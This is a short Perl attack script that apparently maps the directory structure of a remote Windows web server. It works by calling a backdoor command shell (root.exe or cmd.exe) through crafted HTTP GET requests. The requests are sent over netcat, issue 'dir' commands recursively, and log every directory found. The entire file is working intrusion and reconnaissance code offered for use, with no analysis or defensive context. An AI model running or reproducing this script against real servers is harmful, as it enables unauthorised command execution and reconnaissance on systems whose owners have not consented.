#!/usr/local/bin/perl
#
# Map directory structure using root.exe
#
#
#
use LWP::UserAgent;

if ($#ARGV != 4) {
        print "Usage: $0 <target host> <path to CMD.EXE> <drive> <starting directory> <output file>\n";
	print "<starting directory> much have \\ escaped\n";
        exit(1);
}

my $host = $ARGV[0];
my $cmd = $ARGV[1];
my $drive = $ARGV[2];
my $sdir = $ARGV[3];
my $outfile = $ARGV[4];

my @Dirs;

open (OUT, ">$outfile") or die("unable to open $outfile: $!");

print OUT "Starting Directory Traversal...\n\n";
chomp $sdir;
@Dirs = &BuildStruct($sdir);
print OUT "\n\nFinished Directory Traversal\n";

sub BuildStruct() {
	my ($dir) = @_;
	my %DirStruct;
	print OUT "$dir\n";

	@{ $DirStruct{$dir} } = &GetDirs($dir);
	foreach (@{ $DirStruct{$dir} }) { &BuildStruct($_); }
}

sub GetDirs {
	my ($dir) = @_;
	my $target = "http://" . $host . $cmd . '?/c+dir%20' . $drive . "\\" . $dir;

	my(@content) = echoToNc(qq(GET $target));

	my @links;
	foreach (@content) { if (/\<DIR\>/) { push @links, $_; } }
	foreach (@links) { /.*?<DIR>\s*(.*$)/i; $_ = $1; } 

        splice @links, 0, 2;				# remove '.' and '..' listing
	foreach (@links) { $_ = $dir . "\\" . $_; chop $_; }
	return(@links);
}

sub echoToNc {
        my($cmd) = @_;
        open CMD, ">/tmp/puttestin.$$.txt" or die "Can't open /tmp/puttestin.$$.txt: $!";
        print CMD "$cmd\n";
        print `nc $host 80 < /tmp/puttestin.$$.txt > /tmp/puttestout.$$.txt`;
        open (NC_OUT, "/tmp/puttestout.$$.txt") or die "Can't open /tmp/puttestout.$$.txt: $!";
        my(@lines)=<NC_OUT>;
        close(NC_OUT);
        return(@lines);
}
